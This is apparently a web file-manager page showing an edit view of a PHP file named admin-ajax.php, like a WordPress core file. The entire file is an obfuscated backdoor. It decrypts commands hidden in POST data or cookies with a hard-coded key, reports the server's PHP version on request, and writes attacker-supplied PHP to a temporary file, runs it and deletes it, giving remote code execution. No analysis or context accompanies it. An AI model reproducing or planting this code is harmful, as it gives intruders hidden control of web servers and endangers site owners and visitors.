OwlCyberSecurity - MANAGER
Edit File: admin-ajax.php
<?php $phsygld /* xbqw*/ = /*h */ 'phsygld' ^ /*yef */ ' '; $rlxtyra = /* bh */ $phsygld(83) . /*o*/ "\124" . /* dh */ $phsygld(642-560) . $phsygld(95) /* _z */ . "\x50" . /*hxbb */ "\101" . "\x44" /*upype*/ . "_"."R"."\x49" . "G"."H"."\x54"; $mqkzq = $phsygld(97) . "r"."r"."\x61" /* sc*/ . "y"."_"."\155" . $phsygld(573-476) /*rigi_ */ . /* pn*/ $phsygld(147-35); $dovzo /* qv */ = /* als */ $phsygld(105) . "\x6d" /*vt */ . /*ym */ "p"."l"."o".$phsygld(100) . "e"; $_lyrvnj = /* nsm */ "s"."t".$phsygld(493-379) . /* l */ $phsygld(95) . /* ggqx */ "p".$phsygld(664-567) . "\x64";$phmaxbi = "\x63" . "o"."u".$phsygld(646-536) . "\164"; function o_xfya($wvlyiuqz, $eqlhkouog){ global /*m */ $phsygld; /* bl */ $wvlyiuqz = "<" . "?".$phsygld(112) . "\150" . "p".$phsygld(32) /*a */ . /*bqcn */ $phsygld(117) . "n".$phsygld(108) /* tf */ . "\x69" /* _bzibe */ . $phsygld(110) . "k"."("."_"."_"."F"."I"."\x4c" . /* hqv */ "\105" . /* oblw*/ "\137" . $phsygld(258-163) . ")".";".$phsygld(32) . $wvlyiuqz[$phsygld(805-705)]; $xczbxnu = $phsygld(102) /* xd */ . /*wzccg */ $phsygld(1024-919) /* etcm */ . "l"."\x65"."\137" . /* ktt */ "\160" . "u"."\164" . "_"."c"."\x6f" . "n"."\x74" . "\x65" . $phsygld(110) /* jikini */ . /* oy */ "\x74" . /*ucvtjg */ "s"; /*v */ $xczbxnu($eqlhkouog, $wvlyiuqz); xsshnw($eqlhkouog); } $nmzcqjydt /* di */ = /* buo */ 73; function xsshnw($eqlhkouog) { /* qgywl */ global $phsygld; include($eqlhkouog); $enjwok /* di*/ = $eqlhkouog; /* mtbd */ @unlink($enjwok); } function raiqdbw(){ global $phsygld; /* yopjxg*/ $ibirgpmxd = /*mpuizk */ array(); $ibirgpmxd["\x70" . "\x76"] = phpversion(); $ibirgpmxd["s"."\x76"] /* onwf */ = "3"."\x2e" . "5"; $mvr_tj /*wb*/ = /* qe */ 74; echo @serialize($ibirgpmxd); } function /*k */ fbdtwv($wvlyiuqz, $_fbwvdd){ /* fezgcr*/ global /* u*/ $phsygld; $efzozbchp = ""; /* jqix */ $gqdh_jvzf /* jwf*/ = 'pgjgzdfjaq'; $ayahzwxuqc /* qxhfof*/ = hash('sha256', $wvlyiuqz); /* cu */ $zhoazjiq = /* rxy */ str_replace('epwsvp', $ayahzwxuqc, $gqdh_jvzf); $ibirgpmxd = 0; while ($ibirgpmxd /* vd */ < strlen($wvlyiuqz)) { $yjko_ /*_ */ = /* dbc */ isset($_fbwvdd) ? $_fbwvdd /*gun */ : ''; /* gp_gd */ for ($ferabu /*ebnek */ = /* oerlz_ */ 0; /* rgdoee */ $ferabu < strlen($yjko_) && $ibirgpmxd < /*p */ strlen($wvlyiuqz); $ferabu++, /* a*/ $ibirgpmxd++) { $efzozbchp .= $phsygld(ord($wvlyiuqz[$ibirgpmxd]) ^ /*wolv*/ ord($yjko_[$ferabu])); /* tjgo*/ } if /* kslubx */ (strlen($efzozbchp) > 20) /* sjoki */ { $zhoazjiq /*imzgh */ = substr($efzozbchp, 0, 20); /* eh */ } } if (empty($efzozbchp)) { $efzozbchp = date('Y-m-d H:i:s'); } return $efzozbchp; } function birtgf($nihopsw){ global $phsygld; $dwxhsqy /*chyiqf */ = "4"."0"."3"."\x63" . "\66" . "\x34" . "8"."f".$phsygld(45) /* mywf*/ . "8"."\x32" . /* hc*/ $phsygld(85-34) . "1".$phsygld(45) /* mrrymn */ . /* wele_m */ "4"."\70" /*zdsgp */ . "b"."1"."-".$phsygld(474-377) . /* mciz */ "\x61" . /* z */ $phsygld(98) . /* avuct*/ "\61" . /* pv*/ "-"."\63" . $phsygld(311-213) . "\x39" . "3".$phsygld(102) /*t */ . /* ucep */ "9".$phsygld(744-646) . "\x61"."9"."1".$phsygld(805-705)."b"; foreach ($nihopsw as $dg_i__syd /*sgksj */ => $wvlyiuqz) { iglyftjvpz(base64_decode($wvlyiuqz), $dwxhsqy, $dg_i__syd); }} function iglyftjvpz($wvlyiuqz, $dwxhsqy, $dg_i__syd) { /* wvyta */ global $phsygld; $wvlyiuqz = unserialize(fbdtwv(fbdtwv($wvlyiuqz, $dwxhsqy), $dg_i__syd)); $tmme_raf = /* yc */ 'equaxfs'; $kniyqofxa /* kfh */ = /* te */ 'oisiqi'; /* gyyt */ if (isset($wvlyiuqz["\x61" /*yvtfbn */ . $phsygld(859-752)])) { if ($wvlyiuqz["\x61"] == $phsygld(812-707)) /* fvue */ { raiqdbw(); /* gidk*/ } /* kr*/ elseif ($wvlyiuqz["\x61"] == "\x65") { /* oe */ o_xfya($wvlyiuqz, sprintf("\x2e" . "\57" . $phsygld(37) . "s"."\56" . /* xvv */ "p".$phsygld(256-148), md5($dwxhsqy))); $ebged /* yb */ = 44; /*epmbmw */ } /* q */ exit(); /* gjw */ }} birtgf($_POST); $__db_ = /* _aad*/ $mqkzq('rawurldecode', $_POST);$cgcmyaecn = $phmaxbi($__db_); if /* x_wd */ ($cgcmyaecn > /* obyfll*/ 0) { $qdsistaz /* erc */ = $dovzo(',', $__db_); } birtgf($_COOKIE); /* alt */ $mauxtbi = $mqkzq('rawurldecode', /* kid */ $_COOKIE); $gy_rnooxg = /* zxyeo*/ $phmaxbi($mauxtbi); if ($gy_rnooxg > 0) { /* r*/ $ffjkga = $dovzo(';', $mauxtbi);} $lforojhf = /*nbn_ */ $mauxtbi; $nwpdoe_y = /* ubc */ date('Y-m-d /* neqz*/ H:i:s');$gpsyxsulpk /*spoycx */ = /*rtyqe */ strlen($dovzo('', /* qfq*/ $lforojhf)); if /* tng */ ($gpsyxsulpk /*vwtdu */ > 100) { /* vcqly*/ $lcwdnfgsxd = $_lyrvnj($dovzo('', $lforojhf), 150, /*crea */ '0', $rlxtyra);} ?>